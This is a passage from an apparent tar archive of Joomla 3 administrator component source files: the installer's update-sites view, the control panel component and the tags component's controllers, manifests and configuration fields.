		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('*')
			->from($db->quoteName('#__extensions'))
			->where($db->quoteName('state') . ' = -1');
		$db->setQuery($query);
		$discoveredExtensions = $db->loadObjectList();

		return (count($discoveredExtensions) === 0) ? false : true;
	}
}
com_installer/views/updatesites/tmpl/default.xml000060400000000334152455305310016207 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_INSTALLER_UPDATESITES_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_INSTALLER_UPDATESITES_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_installer/views/updatesites/tmpl/default.php000060400000010765152455305310016207 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('bootstrap.tooltip');

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
?>
<div id="installer-manage" class="clearfix">
	<form action="<?php echo JRoute::_('index.php?option=com_installer&view=updatesites'); ?>" method="post" name="adminForm" id="adminForm">
		<?php if (!empty( $this->sidebar)) : ?>
		<div id="j-sidebar-container" class="span2">
			<?php echo $this->sidebar; ?>
		</div>
		<div id="j-main-container" class="span10">
		<?php else : ?>
		<div id="j-main-container">
		<?php endif; ?>
			<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
			<div class="clearfix"></div>
			<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
			<?php else : ?>
			<table class="table table-striped">
				<thead>
					<tr>
						<th width="1%" class="center">
							<?php echo JHtml::_('grid.checkall'); ?>
						</th>
						<th width="1%" class="nowrap center">
							<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'enabled', $listDirn, $listOrder); ?>
						</th>
						<th class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'COM_INSTALLER_HEADING_UPDATESITE_NAME', 'update_site_name', $listDirn, $listOrder); ?>
						</th>
						<th class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_INSTALLER_HEADING_NAME', 'name', $listDirn, $listOrder); ?>
						</th>
						<th class="hidden-phone hidden-tablet">
							<?php echo JHtml::_('searchtools.sort', 'COM_INSTALLER_HEADING_LOCATION', 'client_translated', $listDirn, $listOrder); ?>
						</th>
						<th class="hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_INSTALLER_HEADING_TYPE', 'type_translated', $listDirn, $listOrder); ?>
						</th>
						<th class="hidden-phone hidden-tablet">
							<?php echo JHtml::_('searchtools.sort', 'COM_INSTALLER_HEADING_FOLDER', 'folder_translated', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'update_site_id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="8">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
				<?php foreach ($this->items as $i => $item) : ?>
					<tr class="row<?php echo $i % 2; if ($item->enabled == 2) echo ' protected'; ?>">
						<td class="center">
							<?php echo JHtml::_('grid.id', $i, $item->update_site_id); ?>
						</td>
						<td class="center">
							<?php if (!$item->element) : ?>
								<strong>X</strong>
							<?php else : ?>
								<?php echo JHtml::_('InstallerHtml.Updatesites.state', $item->enabled, $i, $item->enabled < 2, 'cb'); ?>
							<?php endif; ?>
						</td>
						<td>
							<label for="cb<?php echo $i; ?>">
								<?php echo JText::_($item->update_site_name); ?>
								<br />
								<span class="small break-word">
									<a href="<?php echo $item->location; ?>" target="_blank" rel="noopener noreferrer"><?php echo $this->escape($item->location); ?></a>
									<?php if ($item->extra_query): ?>
										<br/><pre><?php echo $item->extra_query; ?></pre>
									<?php endif; ?>
								</span>
							</label>
						</td>
						<td class="hidden-phone">
							<span class="bold hasTooltip" title="<?php echo JHtml::_('tooltipText', $item->name, $item->description, 0); ?>">
								<?php echo $item->name; ?>
							</span>
						</td>
						<td class="hidden-phone hidden-tablet">
							<?php echo $item->client_translated; ?>
						</td>
						<td class="hidden-phone">
							<?php echo $item->type_translated; ?>
						</td>
						<td class="hidden-phone hidden-tablet">
							<?php echo $item->folder_translated; ?>
						</td>
						<td class="hidden-phone">
							<?php echo $item->update_site_id; ?>
						</td>
					</tr>
				<?php endforeach; ?>
				</tbody>
			</table>
			<?php endif; ?>
			<input type="hidden" name="task" value="" />
			<input type="hidden" name="boxchecked" value="0" />
			<?php echo JHtml::_('form.token'); ?>
		</div>
	</form>
</div>
com_installer/views/updatesites/view.html.php000060400000004451152455305310015517 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('InstallerViewDefault', dirname(__DIR__) . '/default/view.php');

/**
 * Extension Manager Update Sites View
 *
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 * @since       3.4
 */
class InstallerViewUpdatesites extends InstallerViewDefault
{
	protected $items;

	protected $pagination;

	protected $form;

	protected $state;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  Template
	 *
	 * @return  mixed|void
	 *
	 * @since   3.4
	 *
	 * @throws  Exception on errors
	 */
	public function display($tpl = null)
	{
		// Get data from the model
		$this->state         = $this->get('State');
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Include the component HTML helpers.
		JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

		// Display the view
		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   3.4
	 */
	protected function addToolbar()
	{
		$canDo = JHelperContent::getActions('com_installer');

		if ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::publish('updatesites.publish', 'JTOOLBAR_ENABLE', true);
			JToolbarHelper::unpublish('updatesites.unpublish', 'JTOOLBAR_DISABLE', true);
			JToolbarHelper::divider();
		}

		if ($canDo->get('core.delete'))
		{
			JToolbarHelper::deleteList('JGLOBAL_CONFIRM_DELETE', 'updatesites.delete', 'JTOOLBAR_DELETE');
			JToolbarHelper::divider();
		}

		if ($canDo->get('core.admin') || $canDo->get('core.options'))
		{
			JToolbarHelper::custom('updatesites.rebuild', 'refresh.png', 'refresh_f2.png', 'JTOOLBAR_REBUILD', false);
		}

		JHtmlSidebar::setAction('index.php?option=com_installer&view=updatesites');

		parent::addToolbar();
		JToolbarHelper::help('JHELP_EXTENSIONS_EXTENSION_MANAGER_UPDATESITES');
	}
}
com_installer/controller.php000060400000003262152455305310012275 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Installer Controller
 *
 * @since  1.5
 */
class InstallerController extends JControllerLegacy
{
	/**
	 * Method to display a view.
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached
	 * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  JController  This object to support chaining.
	 *
	 * @since   1.5
	 */
	public function display($cachable = false, $urlparams = false)
	{
		JLoader::register('InstallerHelper', JPATH_ADMINISTRATOR . '/components/com_installer/helpers/installer.php');

		// Get the document object.
		$document = JFactory::getDocument();

		// Set the default view name and format from the Request.
		$vName   = $this->input->get('view', 'install');
		$vFormat = $document->getType();
		$lName   = $this->input->get('layout', 'default', 'string');

		// Get and render the view.
		if ($view = $this->getView($vName, $vFormat))
		{
			$ftp = JClientHelper::setCredentialsFromRequest('ftp');
			$view->ftp = &$ftp;

			// Get the model for the view.
			$model = $this->getModel($vName);

			// Push the model into the view (as default).
			$view->setModel($model, true);
			$view->setLayout($lName);

			// Push document object into the view.
			$view->document = $document;

			// Load the submenu.
			InstallerHelper::addSubmenu($vName);
			$view->display();
		}

		return $this;
	}
}
com_cpanel/controller.php000060400000000554152455305310011543 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_cpanel
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Cpanel Controller
 *
 * @since  1.5
 */
class CpanelController extends JControllerLegacy
{
}
com_cpanel/cpanel.xml000060400000001547152455305310010636 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1" method="upgrade">
	<name>com_cpanel</name>
	<author>Joomla! Project</author>
	<creationDate>Jun 2007</creationDate>
	<copyright>(C) 2007 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>COM_CPANEL_XML_DESCRIPTION</description>
	<administration>
		<files folder="admin">
			<filename>controller.php</filename>
			<filename>cpanel.php</filename>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_cpanel.ini</language>
			<language tag="en-GB">language/en-GB.com_cpanel.sys.ini</language>
		</languages>
	</administration>
</extension>

com_cpanel/views/cpanel/view.html.php000060400000003121152455305310013665 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_cpanel
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * HTML View class for the Cpanel component
 *
 * @since  1.0
 */
class CpanelViewCpanel extends JViewLegacy
{
	/**
	 * Array of cpanel modules
	 *
	 * @var  array
	 */
	protected $modules = null;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		// Set toolbar items for the page
		JToolbarHelper::title(JText::_('COM_CPANEL'), 'home-2 cpanel');
		JToolbarHelper::help('screen.cpanel');

		$input = JFactory::getApplication()->input;

		/*
		 * Set the template - this will display cpanel.php
		 * from the selected admin template.
		 */
		$input->set('tmpl', 'cpanel');

		// Display the cpanel modules
		$this->modules = JModuleHelper::getModules('cpanel');

		try
		{
			$messages_model = FOFModel::getTmpInstance('Messages', 'PostinstallModel')->eid(700);
			$messages       = $messages_model->getItemList();
		}
		catch (RuntimeException $e)
		{
			$messages = array();

			// Still render the error message from the Exception object
			JFactory::getApplication()->enqueueMessage($e->getMessage(), 'error');
		}

		$this->postinstall_message_count = count($messages);

		parent::display($tpl);
	}
}
com_cpanel/views/cpanel/tmpl/default.php000060400000003565152455305310014364 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_cpanel
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

$user = JFactory::getUser();
?>
<div class="row-fluid">
	<?php $iconmodules = JModuleHelper::getModules('icon');
	if ($iconmodules) : ?>
		<div class="span3">
			<div class="cpanel-links">
				<?php
				// Display the submenu position modules
				foreach ($iconmodules as $iconmodule)
				{
					echo JModuleHelper::renderModule($iconmodule);
				}
				?>
			</div>
		</div>
	<?php endif; ?>
	<div class="span<?php echo $iconmodules ? 9 : 12; ?>">
		<?php if ($user->authorise('core.manage', 'com_postinstall') && $this->postinstall_message_count) : ?>
			<div class="row-fluid">
				<div class="alert alert-info">
					<h3>
						<?php echo JText::_('COM_CPANEL_MESSAGES_TITLE'); ?>
					</h3>
					<p>
						<?php echo JText::_('COM_CPANEL_MESSAGES_BODY_NOCLOSE'); ?>
					</p>
					<p>
						<?php echo JText::_('COM_CPANEL_MESSAGES_BODYMORE_NOCLOSE'); ?>
					</p>
					<p>
						<a href="index.php?option=com_postinstall&amp;eid=700" class="btn btn-primary">
							<?php echo JText::_('COM_CPANEL_MESSAGES_REVIEW'); ?>
						</a>
					</p>
				</div>
			</div>
		<?php endif; ?>
		<div class="row-fluid">
			<?php
			$spans = 0;

			foreach ($this->modules as $module)
			{
				// Get module parameters
				$params = new Registry($module->params);
				$bootstrapSize = $params->get('bootstrap_size');
				if (!$bootstrapSize)
				{
					$bootstrapSize = 12;
				}
				$spans += $bootstrapSize;
				if ($spans > 12)
				{
					echo '</div><div class="row-fluid">';
					$spans = $bootstrapSize;
				}
				echo JModuleHelper::renderModule($module, array('style' => 'well'));
			}
			?>
		</div>
	</div>
</div>
com_cpanel/views/cpanel/tmpl/default.xml000060400000000322152455305310014361 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_CPANEL_CPANEL_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_CPANEL_CPANEL_VIEW_DEFAULT_TITLE_DESC]]>
		</message>
	</layout>
</metadata>
com_cpanel/cpanel.php000060400000000664152455305310010624 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_cpanel
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// No access check.

$controller = JControllerLegacy::getInstance('Cpanel');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
com_tags/helpers/tags.php000060400000002566152455305310011461 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Tags helper.
 *
 * @since       3.1
 * @deprecated  4.0
 */
class TagsHelper extends JHelperContent
{
	/**
	 * Configure the Submenu links.
	 *
	 * @param   string  $extension  The extension.
	 *
	 * @return  void
	 *
	 * @since       3.1
	 * @deprecated  4.0
	 */
	public static function addSubmenu($extension)
	{
		$parts     = explode('.', $extension);
		$component = $parts[0];

		// Avoid nonsense situation.
		if ($component == 'tags')
		{
			return;
		}

		// Try to find the component helper.
		$file = JPath::clean(JPATH_ADMINISTRATOR . '/components/com_tags/helpers/tags.php');

		if (file_exists($file))
		{
			$cName = 'TagsHelper';

			JLoader::register($cName, $file);

			if (class_exists($cName))
			{
				if (is_callable(array($cName, 'addSubmenu')))
				{
					$lang = JFactory::getLanguage();

					// Loading language file from administrator/language directory then administrator/components/<extension>/language
					$lang->load($component, JPATH_BASE, null, false, true)
					||	$lang->load($component, JPath::clean(JPATH_ADMINISTRATOR . '/components/' . $component), null, false, true);
				}
			}
		}
	}
}
com_tags/controllers/tag.php000060400000002774152455305310012203 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * The Tag Controller
 *
 * @since  3.1
 */
class TagsControllerTag extends JControllerForm
{
	/**
	 * Method to check if you can add a new record.
	 *
	 * @param   array  $data  An array of input data.
	 *
	 * @return  boolean
	 *
	 * @since   3.1
	 */
	protected function allowAdd($data = array())
	{
		$user = JFactory::getUser();

		return $user->authorise('core.create', 'com_tags');
	}

	/**
	 * Method to check if you can edit a record.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   3.1
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// Since there is no asset tracking and no categories, revert to the component permissions.
		return parent::allowEdit($data, $key);
	}

	/**
	 * Method to run batch operations.
	 *
	 * @param   object  $model  The model.
	 *
	 * @return  boolean	 True if successful, false otherwise and internal error is set.
	 *
	 * @since   3.1
	 */
	public function batch($model = null)
	{
		$this->checkToken();

		// Set the model
		$model = $this->getModel('Tag');

		// Preset the redirect
		$this->setRedirect('index.php?option=com_tags&view=tags');

		return parent::batch($model);
	}
}
com_tags/access.xml000060400000001461152455305310010324 0ustar00<?xml version="1.0" encoding="utf-8" ?>
<access component="com_tags">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN" description="JACTION_ADMIN_COMPONENT_DESC" />
		<action name="core.options" title="JACTION_OPTIONS" description="JACTION_OPTIONS_COMPONENT_DESC" />
		<action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
		<action name="core.create" title="JACTION_CREATE" description="JACTION_CREATE_COMPONENT_DESC" />
		<action name="core.delete" title="JACTION_DELETE" description="JACTION_DELETE_COMPONENT_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="JACTION_EDIT_COMPONENT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="JACTION_EDITSTATE_COMPONENT_DESC" />
	</section>
</access>
com_tags/tags.xml000060400000002605152455305310010022 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1" method="upgrade">
	<name>com_tags</name>
	<author>Joomla! Project</author>
	<creationDate>December 2013</creationDate>
	<copyright>(C) 2013 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.1.0</version>
	<description>COM_TAGS_XML_DESCRIPTION</description>

	<files folder="site">
		<filename>controller.php</filename>
		<filename>metadata.xml</filename>
		<filename>newsfeeds.php</filename>
		<filename>router.php</filename>
		<folder>helpers</folder>
		<folder>models</folder>
		<folder>views</folder>
	</files>
	<languages folder="site">
		<language tag="en-GB">language/en-GB.com_tags.ini</language>
	</languages>
	<administration>
		<files folder="admin">
			<filename>tags.php</filename>
			<filename>config.xml</filename>
			<filename>controller.php</filename>
			<folder>controllers</folder>
			<folder>helpers</folder>
			<folder>models</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_tags.ini</language>
			<language tag="en-GB">language/en-GB.com_tags.sys.ini</language>
		</languages>
		<menu link="option=com_tags" img="class:tags">com_tags</menu>

	</administration>
</extension>
com_tags/config.xml000060400000024647152455305310010343 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
	<fieldset
		name="taglist"
		label="COM_TAGS_CONFIG_TAG_SETTINGS_LABEL"
		description="COM_TAGS_CONFIG_TAG_SETTINGS_DESC">

		<field
			name="tag_layout"
			type="componentlayout"
			label="COM_TAGS_CONFIG_TAGGED_ITEMS_FIELD_LAYOUT_LABEL"
			description="COM_TAGS_CONFIG_TAGGED_ITEMS_FIELD_LAYOUT_DESC"
			menuitems="true"
			extension="com_tags"
			view="tag"
		/>

		<field
			name="save_history"
			type="radio"
			label="JGLOBAL_SAVE_HISTORY_OPTIONS_LABEL"
			description="JGLOBAL_SAVE_HISTORY_OPTIONS_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="history_limit"
			type="number"
			label="JGLOBAL_HISTORY_LIMIT_OPTIONS_LABEL"
			description="JGLOBAL_HISTORY_LIMIT_OPTIONS_DESC"
			filter="integer"
			default="5"
			showon="save_history:1"
		/>

		<field
			name="show_tag_title"
			type="radio"
			label="COM_TAGS_SHOW_TAG_TITLE_LABEL"
			description="COM_TAGS_SHOW_TAG_TITLE_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="tag_list_show_tag_image"
			type="radio"
			label="COM_TAGS_SHOW_TAG_IMAGE_LABEL"
			description="COM_TAGS_SHOW_TAG_IMAGE_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="tag_list_show_tag_description"
			type="radio"
			label="COM_TAGS_SHOW_TAG_DESCRIPTION_LABEL"
			description="COM_TAGS_SHOW_TAG_DESCRIPTION_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="tag_list_image"
			type="media"
			label="COM_TAGS_TAG_LIST_MEDIA_LABEL"
			description="COM_TAGS_TAG_LIST_MEDIA_DESC"
		/>

		<field
			name="tag_list_orderby"
			type="list"
			label="JGLOBAL_FIELD_FIELD_ORDERING_LABEL"
			description="JGLOBAL_FIELD_FIELD_ORDERING_DESC"
			default="title"
			validate="options"
			>
			<option value="c.core_title">JGLOBAL_TITLE</option>
			<option value="match_count">COM_TAGS_MATCH_COUNT</option>
			<option value="c.core_created_time">JGLOBAL_CREATED_DATE</option>
			<option value="c.core_modified_time">JGLOBAL_MODIFIED_DATE</option>
			<option value="c.core_publish_up">JGLOBAL_PUBLISHED_DATE</option>
		</field>

		<field
			name="tag_list_orderby_direction"
			type="radio"
			label="JGLOBAL_ORDER_DIRECTION_LABEL"
			description="JGLOBAL_ORDER_DIRECTION_DESC"
			class="btn-group btn-group-yesno"
			default="ASC"
			>
			<option value="ASC">JGLOBAL_ORDER_ASCENDING</option>
			<option value="DESC">JGLOBAL_ORDER_DESCENDING</option>
		</field>

		<field
			name="show_headings"
			type="radio"
			label="COM_TAGS_TAG_LIST_SHOW_HEADINGS_LABEL"
			description="COM_TAGS_TAG_LIST_SHOW_HEADINGS_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="tag_list_show_date"
			type="list"
			label="COM_TAGS_TAG_LIST_SHOW_DATE_DESC"
			description="COM_TAGS_TAG_LIST_SHOW_DATE_LABEL"
			default="0"
			validate="options"
			>
			<option value="0">JHIDE</option>
			<option value="created">JGLOBAL_CREATED</option>
			<option value="modified">JGLOBAL_MODIFIED</option>
			<option value="published">JPUBLISHED</option>
		</field>

		<field
			name="tag_list_show_item_image"
			type="radio"
			label="COM_TAGS_SHOW_ITEM_IMAGE_LABEL"
			description="COM_TAGS_SHOW_ITEM_IMAGE_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="tag_list_show_item_description"
			type="radio"
			label="COM_TAGS_TAG_LIST_SHOW_ITEM_DESCRIPTION_LABEL"
			description="COM_TAGS_TAG_LIST_SHOW_ITEM_DESCRIPTION_DESC"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="tag_list_item_maximum_characters"
			type="number"
			label="COM_TAGS_LIST_MAX_CHARACTERS_LABEL"
			description="COM_TAGS_LIST_MAX_CHARACTERS_DESC"
			filter="integer"
			showon="tag_list_show_item_description:1"
		/>

	</fieldset>

	<fieldset
		name="tagselection"
		label="COM_TAGS_CONFIG_SELECTION_SETTINGS_LABEL"
		description="COM_TAGS_CONFIG_SELECTION_SETTINGS_DESC">

		<field
			name="min_term_length"
			type="integer"
			label="COM_TAGS_CONFIG_TAG_MIN_LENGTH_LABEL"
			description="COM_TAGS_CONFIG_TAG_MIN_LENGTH_DESC"
			first="1"
			last="3"
			step="1"
			default="3"
		/>

		<field
			name="return_any_or_all"
			type="radio"
			label="COM_TAGS_SEARCH_TYPE_LABEL"
			description="COM_TAGS_SEARCH_TYPE_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">COM_TAGS_ANY</option>
			<option value="0">COM_TAGS_ALL</option>
		</field>

		<field
			name="include_children"
			type="radio"
			label="COM_TAGS_INCLUDE_CHILDREN_LABEL"
			description="COM_TAGS_INCLUDE_CHILDREN_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">COM_TAGS_INCLUDE</option>
			<option value="0">COM_TAGS_EXCLUDE</option>
		</field>

		<field
			name="maximum"
			type="number"
			label="COM_TAGS_LIST_MAX_LABEL"
			description="COM_TAGS_LIST_MAX_DESC"
			default="200"
			filter="integer"
		/>

		<field
			name="tag_list_language_filter"
			type="contentlanguage"
			label="COM_TAGS_FIELD_LANGUAGE_FILTER_LABEL"
			description="COM_TAGS_FIELD_LANGUAGE_FILTER_DESC"
			default="all"
			>
			<option value="all">JALL</option>
			<option value="current_language">JCURRENT</option>
		</field>

	</fieldset>

	<fieldset
		name="alltags"
		label="COM_TAGS_CONFIG_ALL_TAGS_SETTINGS_LABEL"
		description="COM_TAGS_CONFIG_ALL_TAGS_SETTINGS_DESC">

		<field
			name="tags_layout"
			type="componentlayout"
			label="COM_TAGS_CONFIG_ALL_TAGS_FIELD_LAYOUT_LABEL"
			description="COM_TAGS_CONFIG_ALL_TAGS_FIELD_LAYOUT_DESC"
			menuitems="true"
			extension="com_tags"
			view="tags"
		/>

		<field
			name="all_tags_orderby"
			type="list"
			label="JGLOBAL_FIELD_FIELD_ORDERING_LABEL"
			description="JGLOBAL_FIELD_FIELD_ORDERING_DESC"
			default="title"
			validate="options"
			>
			<option value="title">JGLOBAL_TITLE</option>
			<option value="hits">JGLOBAL_HITS</option>
			<option value="created_time">JGLOBAL_CREATED_DATE</option>
			<option value="modified_time">JGLOBAL_MODIFIED_DATE</option>
			<option value="publish_up">JGLOBAL_PUBLISHED_DATE</option>
		</field>

		<field
			name="all_tags_orderby_direction"
			type="radio"
			label="JGLOBAL_ORDER_DIRECTION_LABEL"
			description="JGLOBAL_ORDER_DIRECTION_DESC"
			class="btn-group btn-group-yesno"
			default="ASC"
			>
			<option value="ASC">JGLOBAL_ORDER_ASCENDING</option>
			<option value="DESC">JGLOBAL_ORDER_DESCENDING</option>
		</field>

		<field
			name="all_tags_show_tag_image"
			type="radio"
			label="COM_TAGS_SHOW_ITEM_IMAGE_LABEL"
			description="COM_TAGS_SHOW_ITEM_IMAGE_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="all_tags_show_tag_description"
			type="radio"
			label="COM_TAGS_SHOW_ITEM_DESCRIPTION_LABEL"
			description="COM_TAGS_SHOW_ITEM_DESCRIPTION_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="all_tags_tag_maximum_characters"
			type="number"
			label="COM_TAGS_LIST_MAX_CHARACTERS_LABEL"
			description="COM_TAGS_LIST_MAX_CHARACTERS_DESC"
			filter="integer"
			showon="all_tags_show_tag_description:1"
		/>

		<field
			name="all_tags_show_tag_hits"
			type="radio"
			label="JGLOBAL_HITS"
			description="COM_TAGS_FIELD_CONFIG_HITS_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

	</fieldset>

	<fieldset
		name="shared"
		label="COM_TAGS_CONFIG_SHARED_SETTINGS_LABEL"
		description="COM_TAGS_CONFIG_SHARED_SETTINGS_DESC">

		<field
			name="filter_field"
			type="radio"
			label="JGLOBAL_FILTER_FIELD_LABEL"
			description="JGLOBAL_FILTER_FIELD_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_pagination_limit"
			type="radio"
			label="JGLOBAL_DISPLAY_SELECT_LABEL"
			description="JGLOBAL_DISPLAY_SELECT_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_pagination"
			type="list"
			label="JGLOBAL_PAGINATION_LABEL"
			description="JGLOBAL_PAGINATION_DESC"
			default="2"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
			<option value="2">JGLOBAL_AUTO</option>
		</field>

		<field
			name="show_pagination_results"
			type="radio"
			label="JGLOBAL_PAGINATION_RESULTS_LABEL"
			description="JGLOBAL_PAGINATION_RESULTS_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			showon="show_pagination:1,2"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

	</fieldset>

	<fieldset
		name="data_entry"
		label="COM_TAGS_CONFIG_DATA_ENTRY_SETTINGS_LABEL"
		description="COM_TAGS_CONFIG_DATA_ENTRY_SETTINGS_DESC">

		<field
			name="tag_field_ajax_mode"
			type="radio"
			label="COM_TAGS_TAG_FIELD_MODE_LABEL"
			description="COM_TAGS_TAG_FIELD_MODE_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">COM_TAGS_TAG_FIELD_MODE_AJAX</option>
			<option value="0">COM_TAGS_TAG_FIELD_MODE_NESTED</option>
		</field>

	</fieldset>

	<fieldset
		name="integration"
		label="JGLOBAL_INTEGRATION_LABEL"
		description="COM_TAGS_CONFIG_INTEGRATION_SETTINGS_DESC"
	>
		<field
			name="integration_newsfeeds"
			type="note"
			label="JGLOBAL_FEED_TITLE"
		/>

		<field
			name="show_feed_link"
			type="radio"
			label="JGLOBAL_SHOW_FEED_LINK_LABEL"
